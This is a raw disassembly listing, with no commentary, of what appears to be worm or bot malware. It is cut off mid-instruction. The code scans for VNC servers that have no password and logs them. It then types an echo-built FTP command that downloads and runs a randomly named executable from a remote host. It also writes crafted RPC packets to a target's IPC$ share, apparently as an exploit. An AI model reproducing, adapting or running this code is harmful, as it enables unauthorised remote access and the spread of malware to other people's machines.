dword_455388 test eax, eax jnz short loc_420A83 mov dword ptr [ebp-4], offset dword_4552D0 loc_420A83: ; CODE XREF: .text:00420A7Aj lea eax, [ebp-190h] push eax lea eax, [ebp-190h] push eax call sub_4010E7 push eax call sub_4010E7 push eax push dword_44D680 push dword ptr [ebp-4] push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> i &echo user "... push 0FFh push ebx call sub_42219B and dword ptr [ebp-4], 0 push ebx call sub_422120 add esp, 28h test eax, eax jbe short loc_420B06 loc_420AC7: ; CODE XREF: .text:00420B04j mov eax, [ebp-4] movsx eax, byte_6312C0[eax] push eax push offset dword_44915C lea eax, [ebp-28h] push 3 push eax call sub_42219B lea eax, [ebp-28h] push 0 push eax push dword ptr [ebp-10h] call sub_42075C add esp, 1Ch push 0Fh call esi ; dword_42F15C inc dword ptr [ebp-4] push ebx call sub_422120 cmp [ebp-4], eax pop ecx jb short loc_420AC7 loc_420B06: ; CODE XREF: .text:00420AC5j push edi call esi ; dword_42F15C mov ebx, [ebp-10h] lea eax, [ebp-20h] push 0 push eax push ebx call sub_42075C add esp, 0Ch push 7530h call esi ; dword_42F15C lea eax, [ebp-0Ch] push 1 push eax push ebx call sub_42075C add esp, 0Ch push edi call esi ; dword_42F15C lea eax, [ebp-8] push 0 push eax push ebx call sub_42075C add esp, 0Ch push edi call esi ; dword_42F15C lea eax, [ebp-0Ch] push 2 push eax push ebx call sub_42075C add esp, 0Ch push edi call esi ; dword_42F15C mov eax, [ebp+0C8h] xor esi, esi lea eax, [eax+eax*8] lea eax, ds:432090h[eax*8] inc dword ptr [eax] inc esi loc_420B6D: ; CODE XREF: .text:0042095Dj ; .text:004209BBj ... push ebx call dword_4543AC ; closesocket mov eax, esi pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_420B7B: ; CODE XREF: .text:0042099Aj lea eax, [ebp-24h] push eax lea eax, [ebp-90h] push eax call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_420B6D lea eax, [ebp-6] push esi push eax call sub_422120 pop ecx push eax lea eax, [ebp-6] push eax push ebx call dword_454350 ; send push 2 pop edi jmp loc_420963 ; --------------------------------------------------------------------------- loc_420BB0: ; CODE XREF: .text:00420993j lea eax, [ebp-40h] push eax lea eax, [ebp-90h] push eax call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_420B6D lea eax, [ebp-40h] push esi push eax call sub_422120 pop ecx push eax lea eax, [ebp-40h] push eax push ebx call dword_454350 ; send xor edi, edi inc edi loc_420BE0: ; CODE XREF: .text:004209A1j cmp edi, 3 jnz loc_420963 jmp loc_4209C1 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420BEE proc near ; CODE XREF: .text:00421450p var_118C = byte ptr -118Ch var_18C = byte ptr -18Ch var_8C = byte ptr -8Ch var_7C = word ptr -7Ch var_7A = word ptr -7Ah var_78 = dword ptr -78h var_6C = byte ptr -6Ch var_60 = byte ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_44 = dword ptr -44h var_40 = dword ptr -40h var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_C0 = dword ptr 0C8h arg_D0 = dword ptr 0D8h arg_D8 = dword ptr 0E0h push ebp mov ebp, esp mov eax, 118Ch call sub_4220C0 push ebx push esi push edi mov esi, offset dword_4491EC lea edi, [ebp+var_10] mov ax, word_433F2C movsw movsb mov esi, offset dword_4491E8 lea edi, [ebp+var_24] movsw movsb mov esi, offset loc_4491E4 lea edi, [ebp+var_C] xor ebx, ebx mov [ebp+var_14], ax mov ax, word_433EEC push ebx movsw push 1 push 2 mov dword_6312B8, ebx mov [ebp+var_12], ax movsb call dword_454394 ; socket cmp eax, 0FFFFFFFFh jz loc_421119 lea eax, [ebp+arg_8] push eax call dword_45434C ; inet_addr push 170Ch mov [ebp+var_78], eax mov [ebp+var_7C], 2 call dword_454314 ; ntohs push 6 push 1 push 2 mov [ebp+var_7A], ax call dword_42F29C ; socket mov edi, eax lea eax, [ebp+var_7C] push 10h push eax push edi mov [ebp+var_4], edi call dword_4542AC ; connect test eax, eax jnz loc_421119 lea eax, [ebp+var_6C] push 0Ch push eax push edi call sub_4206E2 add esp, 0Ch test eax, eax jnz short loc_420CB1 loc_420CAA: ; CODE XREF: sub_420BEE+E7j ; sub_420BEE+EEj ... xor esi, esi jmp loc_420D5F ; --------------------------------------------------------------------------- loc_420CB1: ; CODE XREF: sub_420BEE+BAj lea eax, [ebp+var_20] and [ebp+var_60], 0 push eax lea eax, [ebp+var_18] push eax mov esi, offset aRfb03d_03d ; "RFB %03d.%03d\n" lea eax, [ebp+var_6C] push esi push eax call sub_422725 add esp, 10h push 3 pop eax cmp [ebp+var_18], eax jl short loc_420CAA jnz short loc_420CDE cmp [ebp+var_20], eax jl short loc_420CAA loc_420CDE: ; CODE XREF: sub_420BEE+E9j push 5 push eax lea eax, [ebp+var_6C] push esi push eax call sub_422063 lea eax, [ebp+var_6C] push 0Ch push eax push edi call sub_42071B add esp, 1Ch test eax, eax jz short loc_420CAA lea eax, [ebp+var_5C] push 4 push eax push edi call sub_4206E2 add esp, 0Ch test eax, eax jz short loc_420CAA mov ecx, [ebp+var_5C] mov eax, ecx mov edx, ecx and eax, 0FF0000h shr edx, 10h or eax, edx mov edx, ecx shl edx, 10h and ecx, 0FF00h or edx, ecx shr eax, 8 shl edx, 8 or eax, edx mov [ebp+var_5C], eax sub eax, ebx jz loc_421119 mov esi, dword_42F15C dec eax mov ebx, 0FFh mov edi, 3E8h jz short loc_420D6F dec eax jz loc_42104D xor esi, esi inc esi loc_420D5F: ; CODE XREF: sub_420BEE+BEj push [ebp+var_4] call dword_42F298 ; closesocket mov eax, esi jmp loc_42111B ; --------------------------------------------------------------------------- loc_420D6F: ; CODE XREF: sub_420BEE+165j push 1 push offset word_44D6A0 push [ebp+var_4] call sub_42071B add esp, 0Ch test eax, eax jz loc_42104D lea eax, [ebp+var_58] push 18h push eax push [ebp+var_4] call sub_4206E2 add esp, 0Ch test eax, eax jz loc_42104D mov eax, [ebp+var_58] xor ecx, ecx mov cl, byte ptr [ebp+var_58+1] shl eax, 8 xor cl, al and cx, bx xor ecx, eax mov eax, [ebp+var_58+2] mov word ptr [ebp+var_58], cx xor ecx, ecx mov cl, byte ptr [ebp+var_58+3] shl eax, 8 xor cl, al and cx, bx xor ecx, eax mov eax, [ebp+var_50] mov word ptr [ebp+var_58+2], cx xor ecx, ecx mov cl, byte ptr [ebp+var_50+1] shl eax, 8 xor cl, al and cx, bx xor ecx, eax mov eax, [ebp+var_50+2] mov word ptr [ebp+var_50], cx xor ecx, ecx mov cl, byte ptr [ebp+var_50+3] shl eax, 8 xor cl, al and cx, bx xor ecx, eax mov eax, [ebp+var_4C] mov word ptr [ebp+var_50+2], cx xor ecx, ecx mov cl, byte ptr [ebp+var_4C+1] shl eax, 8 xor cl, al and cx, bx xor ecx, eax mov eax, [ebp+var_44] mov word ptr [ebp+var_4C], cx mov ecx, eax mov edx, eax and ecx, 0FF0000h shr edx, 10h or ecx, edx mov edx, eax shl edx, 10h and eax, 0FF00h or edx, eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_118C] push [ebp+var_20] shr ecx, 8 push [ebp+var_18] shl edx, 8 push offset aVncD_DSNopass ; "VNC%d.%d: %s - (NoPass)" or ecx, edx push 1000h push eax mov [ebp+var_44], ecx call sub_42219B add esp, 18h cmp [ebp+arg_D0], 0 jz short loc_420E7F lea eax, [ebp+var_118C] push eax push offset aS_1 ; "%s" push [ebp+arg_0] push [ebp+arg_4] call sub_4104F6 add esp, 10h loc_420E7F: ; CODE XREF: sub_420BEE+275j push 1000h lea eax, [ebp+var_118C] push 0 push eax call sub_4221F0 lea eax, [ebp+var_10] push 1 push eax push [ebp+var_4] call sub_42075C add esp, 18h push edi call esi ; dword_42F15C lea eax, [ebp+var_14] push 0 push eax push [ebp+var_4] call sub_42075C add esp, 0Ch push edi call esi ; dword_42F15C lea eax, [ebp+var_10] push 2 push eax push [ebp+var_4] call sub_42075C add esp, 0Ch push edi call esi ; dword_42F15C call sub_4220FC push 9 cdq pop ecx idiv ecx push edx call sub_4220FC push 9 cdq pop ecx idiv ecx push edx call sub_4220FC push 9 cdq pop ecx idiv ecx push edx call sub_4220FC push 9 cdq pop ecx idiv ecx push edx call sub_4220FC push 9 cdq pop ecx idiv ecx lea eax, [ebp+var_18C] push edx push offset loc_43903C push offset aSDDDDD_exe ; "%s%d%d%d%d%d.exe" push eax call sub_422063 push 100h push 0 push offset byte_6312C0 call sub_4221F0 lea eax, [ebp+arg_8] push eax call sub_414173 add esp, 30h mov [ebp+var_8], offset dword_455388 test eax, eax jnz short loc_420F4F mov [ebp+var_8], offset dword_4552D0 loc_420F4F: ; CODE XREF: sub_420BEE+358j lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_18C] push eax call sub_4010E7 push eax call sub_4010E7 push eax push dword_44D680 push [ebp+var_8] push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> i &echo user "... push ebx push offset byte_6312C0 call sub_42219B and [ebp+var_8], 0 push offset byte_6312C0 call sub_422120 add esp, 28h test eax, eax jbe short loc_420FDA loc_420F97: ; CODE XREF: sub_420BEE+3EAj mov eax, [ebp+var_8] movsx eax, byte_6312C0[eax] push eax push offset dword_44915C lea eax, [ebp+var_1C] push 3 push eax call sub_42219B lea eax, [ebp+var_1C] push 0 push eax push [ebp+var_4] call sub_42075C add esp, 1Ch push 0Fh call esi ; dword_42F15C inc [ebp+var_8] push offset byte_6312C0 call sub_422120 cmp [ebp+var_8], eax pop ecx jb short loc_420F97 loc_420FDA: ; CODE XREF: sub_420BEE+3A7j push edi call esi ; dword_42F15C lea eax, [ebp+var_24] push 0 push eax push [ebp+var_4] call sub_42075C add esp, 0Ch push 7530h call esi ; dword_42F15C lea eax, [ebp+var_C] push 1 push eax push [ebp+var_4] call sub_42075C add esp, 0Ch push edi call esi ; dword_42F15C lea eax, [ebp+var_12] push 0 push eax push [ebp+var_4] call sub_42075C add esp, 0Ch push edi call esi ; dword_42F15C lea eax, [ebp+var_C] push 2 push eax push [ebp+var_4] call sub_42075C add esp, 0Ch push edi call esi ; dword_42F15C mov eax, [ebp+arg_C0] mov dword_6312B8, 1 lea eax, [eax+eax*8] lea eax, ds:432090h[eax*8] inc dword ptr [eax] loc_42104D: ; CODE XREF: sub_420BEE+168j ; sub_420BEE+195j ... lea eax, [ebp+var_8C] push 10h push eax push [ebp+var_4] call sub_4206E2 add esp, 0Ch test eax, eax jnz short loc_42106E push [ebp+var_4] call dword_42F298 ; closesocket loc_42106E: ; CODE XREF: sub_420BEE+475j push [ebp+arg_D8] call sub_422120 cmp eax, 8 pop ecx jbe short loc_421089 mov eax, [ebp+arg_D8] and byte ptr [eax+8], 0 loc_421089: ; CODE XREF: sub_420BEE+48Fj push [ebp+arg_D8] lea eax, [ebp+var_8C] push eax call sub_420688 lea eax, [ebp+var_8C] push 10h push eax push [ebp+var_4] call sub_42071B add esp, 14h test eax, eax jnz short loc_4210BC push [ebp+var_4] call dword_42F298 ; closesocket loc_4210BC: ; CODE XREF: sub_420BEE+4C3j lea eax, [ebp+var_28] push 4 push eax push [ebp+var_4] call sub_4206E2 add esp, 0Ch test eax, eax jnz short loc_4210DA push [ebp+var_4] call dword_42F298 ; closesocket loc_4210DA: ; CODE XREF: sub_420BEE+4E1j mov ecx, [ebp+var_28] mov eax, ecx mov edx, ecx and eax, 0FF0000h shr edx, 10h or eax, edx mov edx, ecx shl edx, 10h and ecx, 0FF00h or edx, ecx shr eax, 8 shl edx, 8 or eax, edx mov [ebp+var_28], eax sub eax, 0 jz short loc_421120 dec eax jz short loc_421119 dec eax jnz loc_420CAA push 3E80h call esi ; dword_42F15C loc_421119: ; CODE XREF: sub_420BEE+5Bj ; sub_420BEE+A3j ... xor eax, eax loc_42111B: ; CODE XREF: sub_420BEE+17Cj ; sub_420BEE+822j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_421120: ; CODE XREF: sub_420BEE+518j push 1 push offset word_44D6A0 push [ebp+var_4] call sub_42071B add esp, 0Ch test eax, eax jz loc_42140D lea eax, [ebp+var_40] push 18h push eax push [ebp+var_4] call sub_4206E2 add esp, 0Ch test eax, eax jz loc_42140D mov eax, [ebp+var_40] xor ecx, ecx mov cl, byte ptr [ebp+var_40+1] push [ebp+arg_D8] shl eax, 8 xor cl, al and cx, bx xor ecx, eax mov eax, [ebp+var_40+2] mov word ptr [ebp+var_40], cx xor ecx, ecx mov cl, byte ptr [ebp+var_40+3] shl eax, 8 xor cl, al and cx, bx xor ecx, eax mov eax, [ebp+var_38] mov word ptr [ebp+var_40+2], cx xor ecx, ecx mov cl, byte ptr [ebp+var_38+1] shl eax, 8 xor cl, al and cx, bx xor ecx, eax mov eax, [ebp+var_38+2] mov word ptr [ebp+var_38], cx xor ecx, ecx mov cl, byte ptr [ebp+var_38+3] shl eax, 8 xor cl, al and cx, bx xor ecx, eax mov eax, [ebp+var_34] mov word ptr [ebp+var_38+2], cx xor ecx, ecx mov cl, byte ptr [ebp+var_34+1] shl eax, 8 xor cl, al and cx, bx xor ecx, eax mov eax, [ebp+var_2C] mov word ptr [ebp+var_34], cx mov ecx, eax mov edx, eax and ecx, 0FF0000h shr edx, 10h or ecx, edx mov edx, eax shl edx, 10h and eax, 0FF00h or edx, eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_118C] push [ebp+var_20] shr ecx, 8 push [ebp+var_18] shl edx, 8 push offset aVncD_DSS ; "VNC%d.%d: %s - %s" or ecx, edx push 1000h push eax mov [ebp+var_2C], ecx call sub_42219B add esp, 1Ch cmp [ebp+arg_D0], 0 jz short loc_421236 lea eax, [ebp+var_118C] push eax push offset aS_1 ; "%s" push [ebp+arg_0] push [ebp+arg_4] call sub_4104F6 add esp, 10h loc_421236: ; CODE XREF: sub_420BEE+62Cj push 1000h lea eax, [ebp+var_118C] push 0 push eax call sub_4221F0 lea eax, [ebp+var_10] push 1 push eax push [ebp+var_4] call sub_42075C add esp, 18h push edi call esi ; dword_42F15C lea eax, [ebp+var_14] push 0 push eax push [ebp+var_4] call sub_42075C add esp, 0Ch push edi call esi ; dword_42F15C lea eax, [ebp+var_10] push 2 push eax push [ebp+var_4] call sub_42075C add esp, 0Ch push edi call esi ; dword_42F15C call sub_4220FC push 9 cdq pop ecx idiv ecx push edx call sub_4220FC push 9 cdq pop ecx idiv ecx push edx call sub_4220FC push 9 cdq pop ecx idiv ecx push edx call sub_4220FC push 9 cdq pop ecx idiv ecx push edx call sub_4220FC push 9 cdq pop ecx idiv ecx lea eax, [ebp+var_18C] push edx push offset loc_43903C push offset aSDDDDD_exe ; "%s%d%d%d%d%d.exe" push eax call sub_422063 push 100h push 0 push offset byte_6312C0 call sub_4221F0 lea eax, [ebp+arg_8] push eax call sub_414173 add esp, 30h mov [ebp+arg_D8], offset dword_455388 test eax, eax jnz short loc_42130C mov [ebp+arg_D8], offset dword_4552D0 loc_42130C: ; CODE XREF: sub_420BEE+712j lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_18C] push eax call sub_4010E7 push eax call sub_4010E7 push eax push dword_44D680 push [ebp+arg_D8] push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> i &echo user "... push ebx mov ebx, offset byte_6312C0 push ebx call sub_42219B and [ebp+arg_D8], 0 push ebx call sub_422120 add esp, 28h test eax, eax jbe short loc_42139F loc_421357: ; CODE XREF: sub_420BEE+7AFj mov eax, [ebp+arg_D8] movsx eax, byte_6312C0[eax] push eax push offset dword_44915C lea eax, [ebp+var_1C] push 3 push eax call sub_42219B lea eax, [ebp+var_1C] push 0 push eax push [ebp+var_4] call sub_42075C add esp, 1Ch push 0Fh call esi ; dword_42F15C inc [ebp+arg_D8] push ebx call sub_422120 cmp [ebp+arg_D8], eax pop ecx jb short loc_421357 loc_42139F: ; CODE XREF: sub_420BEE+767j push edi call esi ; dword_42F15C mov ebx, [ebp+var_4] lea eax, [ebp+var_24] push 0 push eax push ebx call sub_42075C add esp, 0Ch push 7530h call esi ; dword_42F15C lea eax, [ebp+var_C] push 1 push eax push ebx call sub_42075C add esp, 0Ch push edi call esi ; dword_42F15C lea eax, [ebp+var_12] push 0 push eax push ebx call sub_42075C add esp, 0Ch push edi call esi ; dword_42F15C lea eax, [ebp+var_C] push 2 push eax push ebx call sub_42075C add esp, 0Ch push edi call esi ; dword_42F15C mov eax, [ebp+arg_C0] mov dword_6312B8, 1 lea eax, [eax+eax*8] lea eax, ds:432090h[eax*8] inc dword ptr [eax] loc_42140D: ; CODE XREF: sub_420BEE+546j ; sub_420BEE+55Fj xor eax, eax inc eax jmp loc_42111B sub_420BEE endp ; --------------------------------------------------------------------------- cmp off_4490E8, 0 push ebx push esi push edi jz short loc_421472 mov ebx, offset off_4490E8 loc_421426: ; CODE XREF: .text:00421470j cmp dword_6312B8, 0 jnz short loc_421472 push dword ptr [ebx] lea esi, [esp+1Ch] sub esp, 0D0h push 34h pop ecx mov edi, esp push dword ptr [esp+0E8h] rep movsd push dword ptr [esp+0E8h] call sub_420BEE add esp, 0DCh test eax, eax jnz short loc_42146A push 3E80h call dword_42F15C ; Sleep loc_42146A: ; CODE XREF: .text:0042145Dj add ebx, 4 cmp dword ptr [ebx], 0 jnz short loc_421426 loc_421472: ; CODE XREF: .text:0042141Fj ; .text:0042142Dj xor eax, eax pop edi pop esi inc eax pop ebx retn ; =============== S U B R O U T I N E ======================================= sub_421479 proc near ; CODE XREF: sub_421589+E5p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch xor edx, edx cmp [esp+arg_4], edx jbe short locret_4214A9 push esi mov esi, [esp+4+arg_8] loc_421486: ; CODE XREF: sub_421479+2Dj mov eax, [esp+4+arg_0] mov cl, [edx+eax] mov al, cl and cl, 0Fh shr al, 4 add cl, 41h add al, 41h mov [esi+edx*2], cl mov [esi+edx*2+1], al inc edx cmp edx, [esp+4+arg_4] jb short loc_421486 pop esi locret_4214A9: ; CODE XREF: sub_421479+6j retn sub_421479 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4214AA proc near ; CODE XREF: sub_4214AA+CDp ; sub_421589+48Ap var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_4214BE or [ebp+arg_7], 1 jmp short loc_4214C2 ; --------------------------------------------------------------------------- loc_4214BE: ; CODE XREF: sub_4214AA+Cj and [ebp+arg_7], 0FEh loc_4214C2: ; CODE XREF: sub_4214AA+12j mov ebx, [ebp+arg_20] mov eax, [ebp+arg_24] lea ecx, [ebx+18h] cmp ecx, eax ja short loc_4214E3 or [ebp+arg_7], 2 and byte ptr [ebp+arg_28+3], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_4214F5 ; --------------------------------------------------------------------------- loc_4214E3: ; CODE XREF: sub_4214AA+23j mov [ebp+arg_C], ax add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_14], eax mov byte ptr [ebp+arg_28+3], 1 loc_4214F5: ; CODE XREF: sub_4214AA+37j movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_422F79 test eax, eax pop ecx mov [ebp+arg_20], eax jnz short loc_42150E loc_42150A: ; CODE XREF: sub_4214AA+A4j xor eax, eax jmp short loc_421584 ; --------------------------------------------------------------------------- loc_42150E: ; CODE XREF: sub_4214AA+5Ej push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_4223F0 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] call dword_42F07C ; WriteFile push [ebp+arg_20] test eax, eax jnz short loc_421550 call sub_4230B3 pop ecx jmp short loc_42150A ; --------------------------------------------------------------------------- loc_421550: ; CODE XREF: sub_4214AA+9Cj call sub_4230B3 cmp byte ptr [ebp+arg_28+3], 0 pop ecx jz short loc_421581 push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_4214AA add esp, 2Ch jmp short loc_421584 ; --------------------------------------------------------------------------- loc_421581: ; CODE XREF: sub_4214AA+B0j xor eax, eax inc eax loc_421584: ; CODE XREF: sub_4214AA+62j ; sub_4214AA+D5j pop edi pop esi pop ebx leave retn sub_4214AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421589 proc near ; CODE XREF: .text:00421B0Bp ; .text:00421B2Fp ... var_CC48 = byte ptr -0CC48h var_8C48 = byte ptr -8C48h var_6C48 = byte ptr -6C48h var_4C48 = byte ptr -4C48h var_2C48 = word ptr -2C48h var_10F0 = dword ptr -10F0h var_7F4 = byte ptr -7F4h var_7EF = byte ptr -7EFh var_7B0 = byte ptr -7B0h var_344 = byte ptr -344h var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_70 = byte ptr -70h var_6C = byte ptr -6Ch var_6B = byte ptr -6Bh var_6A = byte ptr -6Ah var_69 = byte ptr -69h var_68 = dword ptr -68h var_64 = word ptr -64h var_62 = word ptr -62h var_60 = dword ptr -60h var_5C = word ptr -5Ch var_5A = word ptr -5Ah var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = word ptr -50h var_4E = byte ptr -4Eh var_4C = byte ptr -4Ch var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_28 = dword ptr -28h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = byte ptr -22h var_21 = byte ptr -21h var_20 = dword ptr -20h var_1A = word ptr -1Ah var_18 = dword ptr -18h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h arg_CC = dword ptr 0D4h arg_D4 = dword ptr 0DCh arg_D8 = dword ptr 0E0h push ebp mov ebp, esp mov eax, 0CC48h call sub_4220C0 push ebx push esi push edi lea eax, [ebp+arg_4] push 5 push eax call sub_401AB3 pop ecx cmp eax, 3 pop ecx mov [ebp+var_4], eax jz short loc_4215BE lea eax, [ebp+arg_4] push 1 push eax call sub_401AB3 pop ecx mov [ebp+var_4], eax pop ecx loc_4215BE: ; CODE XREF: sub_421589+23j mov eax, dword_449344 xor ebx, ebx cmp eax, ebx mov [ebp+var_C], eax jz loc_421A3C push 2B1h lea eax, [ebp+var_344] push ebx push eax call sub_4221F0 mov esi, 0DACh lea eax, [ebp+var_10F0] push esi push ebx push eax call sub_4221F0 push 1B58h lea eax, [ebp+var_2C48] push ebx push eax call sub_4221F0 push 0DABh lea eax, [ebp+var_10F0] push 41h push eax call sub_4221F0 mov edi, [ebp+arg_0] push 5 push offset aFb ; "f\a" lea edi, [edi+edi*2] shl edi, 2 mov eax, dword ptr (loc_44930A+2)[edi] mov ecx, dword ptr (loc_449307+1)[edi] mov [ebp+eax+var_10F0], ecx lea eax, [ebp+var_7F4] push eax call sub_4223F0 push 3Fh lea eax, [ebp+var_7EF] push offset sub_4492C8 push eax call sub_4223F0 add esp, 48h lea eax, [ebp+var_344] push eax push [ebp+var_C] push offset dword_432980 call sub_421479 lea eax, [ebp+var_344] push eax call sub_422120 push eax lea eax, [ebp+var_344] push eax lea eax, [ebp+var_7B0] push eax call sub_4223F0 lea eax, [ebp+var_344] push eax call sub_422120 add esp, 20h cmp [ebp+var_4], 3 mov [ebp+eax+var_7B0], bl jnz short loc_4216C7 xor eax, eax loc_4216B1: ; CODE XREF: sub_421589+13Cj movzx cx, byte ptr [ebp+eax+var_10F0] mov [ebp+eax*2+var_2C48], cx inc eax cmp eax, esi jb short loc_4216B1 loc_4216C7: ; CODE XREF: sub_421589+124j lea eax, [ebp+arg_4] mov esi, 2000h push eax push offset aS_8 ; "\\\\%s" lea eax, [ebp+var_6C48] push esi push eax call sub_42219B lea eax, [ebp+var_6C48] push esi push eax lea eax, [ebp+var_CC48] push eax call sub_424D66 lea eax, [ebp+arg_4] push offset a__0 ; "." push eax call sub_424380 add esp, 24h test eax, eax jz short loc_421763 lea eax, [ebp+arg_4] push eax push offset dword_449368 lea eax, [ebp+var_8C48] push esi push eax call sub_42219B push esi lea eax, [ebp+var_8C48] push offset aIpc ; "IPC$" push eax call sub_421F40 push 20h lea eax, [ebp+var_90] push ebx push eax call sub_4221F0 lea eax, [ebp+var_8C48] add esp, 28h mov [ebp+var_7C], eax mov eax, offset byte_44D6A4 push ebx push eax push eax lea eax, [ebp+var_90] push eax call dword_4543BC loc_421763: ; CODE XREF: sub_421589+180j lea eax, [ebp+arg_4] push eax push offset dword_449368 lea eax, [ebp+var_4C48] push esi push eax call sub_42219B push esi lea eax, [ebp+var_4C48] push offset dword_44935C push eax call sub_421F40 add esp, 1Ch lea eax, [ebp+var_4C48] push ebx push ebx push 3 push ebx push 3 push 40000000h push eax call dword_42F060 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_421A31 push 48h lea eax, [ebp+var_6C] push ebx push eax call sub_4221F0 xor eax, eax push 10h inc eax pop esi mov [ebp+var_60], eax mov [ebp+var_54], eax mov [ebp+var_4E], al mov [ebp+var_3C], eax push esi lea eax, [ebp+var_4C] push offset dword_449348 push eax mov [ebp+var_6C], 5 mov [ebp+var_6B], bl mov [ebp+var_6A], 0Bh mov [ebp+var_69], 3 mov [ebp+var_68], esi mov [ebp+var_64], 48h mov [ebp+var_62], bx mov [ebp+var_5C], 10B8h mov [ebp+var_5A], 10B8h mov [ebp+var_58], ebx mov [ebp+var_50], bx call sub_4223F0 push esi lea eax, [ebp+var_38] push offset dword_43C844 push eax mov [ebp+var_28], 2 call sub_4223F0 add esp, 24h lea eax, [ebp+var_70] push ebx push eax lea eax, [ebp+var_6C] push 48h push eax push [ebp+var_4] call dword_42F07C ; WriteFile test eax, eax jnz short loc_42184E loc_421840: ; CODE XREF: sub_421589+330j push [ebp+var_4] call dword_42F038 ; CloseHandle jmp loc_421A31 ; --------------------------------------------------------------------------- loc_42184E: ; CODE XREF: sub_421589+2B5j lea eax, [ebp+var_CC48] push eax call sub_424B08 lea eax, [eax+eax+12h] pop ecx test al, 3 mov [ebp+arg_0], eax jz short loc_42186F loc_421866: ; CODE XREF: sub_421589+2E4j inc [ebp+arg_0] test byte ptr [ebp+arg_0], 3 jnz short loc_421866 loc_42186F: ; CODE XREF: sub_421589+2DBj cmp byte ptr (loc_44930F+1)[edi], bl jz short loc_42187B add [ebp+arg_0], 4 loc_42187B: ; CODE XREF: sub_421589+2ECj lea eax, [ebp+var_2C48] push eax call sub_424B08 pop ecx mov ecx, [ebp+arg_0] lea eax, [ecx+eax*2+0Eh] jmp short loc_421892 ; --------------------------------------------------------------------------- loc_421891: ; CODE XREF: sub_421589+30Bj inc eax loc_421892: ; CODE XREF: sub_421589+306j test al, 3 jnz short loc_421891 add eax, 8 cmp byte ptr (loc_44930F+1)[edi], bl jz short loc_4218A6 add eax, 4 jmp short loc_4218A8 ; --------------------------------------------------------------------------- loc_4218A6: ; CODE XREF: sub_421589+316j inc eax inc eax loc_4218A8: ; CODE XREF: sub_421589+31Bj push eax mov [ebp+arg_0], eax call sub_422F79 mov esi, eax pop ecx cmp esi, ebx mov [ebp+var_C], esi jz short loc_421840 push [ebp+arg_0] push ebx push esi call sub_4221F0 push 4 push offset dword_4492B8 push esi call sub_4223F0 lea eax, [ebp+var_CC48] push eax call sub_424B08 inc eax mov [esi+8], ebx mov [esi+0Ch], eax mov [esi+4], eax lea eax, [ebp+var_CC48] push eax lea eax, [esi+10h] push eax call sub_424D41 lea eax, [ebp+var_CC48] push eax call sub_424B08 lea eax, [eax+eax+12h] add esp, 28h test al, 3 mov [ebp+var_8], eax jz short loc_42191A loc_421912: ; CODE XREF: sub_421589+38Cj inc eax test al, 3 jnz short loc_421912 mov [ebp+var_8], eax loc_42191A: ; CODE XREF: sub_421589+387j cmp byte ptr (loc_44930F+1)[edi], bl jz short loc_421938 push 4 add eax, esi push offset dword_4492C0 push eax call sub_4223F0 add esp, 0Ch add [ebp+var_8], 4 loc_421938: ; CODE XREF: sub_421589+397j lea eax, [ebp+var_2C48] push eax call sub_424B08 mov ecx, [ebp+var_8] inc eax mov [ecx+esi+8], eax mov [ecx+esi+4], ebx mov [ecx+esi], eax add ecx, 0Ch mov [ebp+var_8], ecx lea eax, [ebp+var_2C48] add ecx, esi push eax push ecx call sub_424D41 lea eax, [ebp+var_2C48] push eax call sub_424B08 mov ecx, [ebp+var_8] add esp, 10h lea eax, [ecx+eax*2+2] test al, 3 mov [ebp+var_8], eax jz short loc_42198D loc_421985: ; CODE XREF: sub_421589+3FFj inc eax test al, 3 jnz short loc_421985 mov 